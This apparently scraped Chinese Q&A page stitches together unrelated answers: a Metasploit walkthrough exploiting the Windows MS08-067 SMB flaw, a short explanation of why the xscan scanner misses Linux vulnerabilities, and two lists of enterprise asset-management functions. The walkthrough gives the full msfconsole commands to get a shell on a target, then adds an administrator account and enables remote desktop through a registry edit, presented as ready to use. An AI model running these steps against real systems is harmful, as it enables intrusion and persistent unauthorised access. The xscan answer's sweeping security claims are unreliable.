kalilinux攻击漏洞MS08_067？
1,在Kali用命令 msfconsole 开启Metasploit （在终端里输入msfconsole）。
2，然后运行命令：use exploit/windows/smb/ms08_067_netapi #使用MS08067漏洞攻击程序
set LHOST 192.168.116.3 #设置本地主机IP
set RHOST 192.168.116.116 #设置目标主机IP
set payload windows/shell_bind_tcp #设置payload
show options #查看设置信息
exploit #实施攻击
3，添加用户名为zeal，密码为zeal的用户，并把zeal用户添加到管理组。接下来执行命令 netstat -an 看一下目标主机开放端口的情况。
4，发现并没有开启3389（远程桌面连接端口），我们需要手动开启。需要执行命令：REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
有了目标主机的cmdshell你想做什么不行吧？好了演示到此完毕！
xscan为什么扫描不出来linux系统的漏洞？
xscan是一款网络漏洞扫描工具，主要用于检测Windows系统和各种网络设备的漏洞。然而，它并不能直接扫描Linux系统的漏洞，原因主要有以下几点：
1. 不同的操作系统有不同的漏洞类型和修复方式。xscan主要针对Windows系统的漏洞进行扫描和分析，对于Linux系统的漏洞可能无法准确识别和处理。
2. Linux系统的开放性和安全性较高。相比于Windows系统，Linux系统的安全性更高，其开源的特性使得许多安全专家可以参与到系统的开发和维护中，及时修复已知的漏洞。
3. xscan可能没有包含对Linux系统漏洞的检测模块。xscan的开发团队可能主要关注Windows系统的安全问题，因此在软件设计上可能没有考虑到Linux系统的漏洞扫描。
资产管理包括哪些方面？
企业资产管理涉及的内容主要包括：基础管理、工单管理、预防性维护管理、 资产管理、 作业计划管理、 安全管理 、 库存管理、 采购管理、报表管理、检修管理、数据采集管理等基本功能模块，以及 工作流管理、 决策分析等可选模块。
企业资产管理包括哪些内容
企业资产管理的范围：
1、设备资产&技术管理
建立设备信息库，实现设备前期的选型、采购、安装测试、转固;设备转固后的移装、封存、启封、闲置、租赁、转让、报废，设备运行过程中的技术状态、维护、保养、润滑情况记录。
2、设备文档管理
设备相关档案的登录、整理以及与设备的挂接。
3、设备缺陷&事故管理
设备缺陷报告、跟踪、统计，设备紧急事故处理。
4、预防性维修
以可靠性技术为基础的定期维修、维护，维修计划分解，自动生成预防性维修工作单。
5、维修计划&排程
根据日程表中设备运行记录和维修人员工作记录，编制整体维修、维护任务进度的安排计划，根据任务的优先级和维修人员工种情况来确定维修工人。
6、工单生成&跟踪
对自动生成的预防性、预测性维修工单和手工录入的请求工单，进行人员、备件、工具、工作步骤、工作进度等的计划、审批、执行、检查、完工报告，跟踪工单状态。
7、备品、备件管理
建立备件台帐，编制备件计划，处理备件日常库存事务(接受、发料、移动、盘点等)，根据备件最小库存量或备件重订货点自动生成采购计划，跟踪备件与设备的关系。
8、维修成本核算
凭借工作单上人员时间、所耗物料、工具和服务等信息，汇总维修、维护任务成本，进行实际成本与预算的分析比较。
9、缺陷分析
建立设备故障代码体系，记录每次故障发生的情况以进行故障分析。
10、统计报表
查询、统计各类信息，包括设备的三率报表、设备维修成本报表、设备状态报表、设备履历报表、备件库存周转率、供应商分析报表等。